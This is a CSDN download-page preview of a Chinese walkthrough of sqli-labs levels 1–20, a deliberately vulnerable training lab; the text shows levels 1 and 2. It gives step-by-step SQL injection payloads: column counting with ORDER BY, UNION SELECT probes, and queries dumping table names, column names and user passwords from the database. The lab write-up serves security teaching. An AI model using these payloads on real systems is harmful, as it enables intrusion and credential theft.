没有合适的资源?快使用搜索试试~ 我知道了~
详细sqli-labs(1-20)通关讲解
需积分: 0 0 下载量 178 浏览量
2024-05-18
14:37:44
上传
评论
收藏 22.29MB DOCX 举报
温馨提示
![preview](https://dl-preview.csdnimg.cn/89323113/0001-6d43cb69dcf22aa1baf297e41fd52fe4_thumbnail-wide.jpeg)
![preview-icon](https://csdnimg.cn/release/downloadcmsfe/public/img/scale.ab9e0183.png)
试读
47页
详细sqli-labs(1-20)通关讲解
资源推荐
资源详情
资源评论
![pptx](https://img-home.csdnimg.cn/images/20210720083543.png)
![rar](https://img-home.csdnimg.cn/images/20210720083606.png)
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)
![sql](https://img-home.csdnimg.cn/images/20210720083646.png)
![rar](https://img-home.csdnimg.cn/images/20210720083606.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![xlsx](https://img-home.csdnimg.cn/images/20210720083732.png)
![exe](https://img-home.csdnimg.cn/images/20210720083343.png)
![thumb](https://img-home.csdnimg.cn/images/20210720083646.png)
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![rar](https://img-home.csdnimg.cn/images/20210720083606.png)
![](https://csdnimg.cn/release/download_crawler_static/89323113/bg1.jpg)
实验:sqli-labs
1.sqli-labs 第一关
判断是否存在 sql 注入
输入数值不同,返回的值也不同
判断 sql 语句是否是拼接,且是字符型还是数字型
![](https://csdnimg.cn/release/download_crawler_static/89323113/bg2.jpg)
可以根据结果指定是字符型且存在 sql 注入漏洞。
联合注入
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三
列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
![](https://csdnimg.cn/release/download_crawler_static/89323113/bg3.jpg)
第三步:获取当前数据名和版本号。
?id=-1'union select 1,database(),version()--+
第四步: 爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where
table_schema='security'--+
第五步:爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where
table_name='users'--+
第六步:通过上述操作可以得到两个敏感字段就是 username 和 password,接下来我们就要得
到该字段对应的内容。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
![](https://csdnimg.cn/release/download_crawler_static/89323113/bg4.jpg)
2.sqli-labs 第二关
和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到
数字,所有我们可以猜测 sql 语句应该是数字型注入。
加注释还是提示报错,证明是数字型
1、判断表有几列,使用 ORDER BY 子句进行一个排序
测试到第 4 列无回显,说明表中一共有 3 列
?id=1') ORDER BY 4--+
![](https://csdnimg.cn/release/download_crawler_static/89323113/bg5.jpg)
2、判断数据显示点 (id 一定要改为 0 或负数),使用 UNION 进行组合查询
?id=-1') union select 1,2,3--+
(1)爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行
查询
?id=-1') union select 1,database(),version()--+
(2)爆表名,使用 group_concat() 函数合并查询结果
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where
table_schema='security'--+
剩余46页未读,继续阅读
资源评论
![avatar-default](https://csdnimg.cn/release/downloadcmsfe/public/img/lazyLogo2.1882d7f4.png)
![avatar](https://profile-avatar.csdnimg.cn/default.jpg!1)
m0_57928318
- 粉丝: 64
- 资源: 1
上传资源 快速赚钱
我的内容管理 展开
我的资源 快来上传第一个资源
我的收益
登录查看自己的收益我的积分 登录查看自己的积分
我的C币 登录后查看C币余额
我的收藏
我的下载
下载帮助
![voice](https://csdnimg.cn/release/downloadcmsfe/public/img/voice.245cc511.png)
![center-task](https://csdnimg.cn/release/downloadcmsfe/public/img/center-task.c2eda91a.png)
安全验证
文档复制为VIP权益,开通VIP直接复制
![dialog-icon](https://csdnimg.cn/release/downloadcmsfe/public/img/green-success.6a4acb44.png)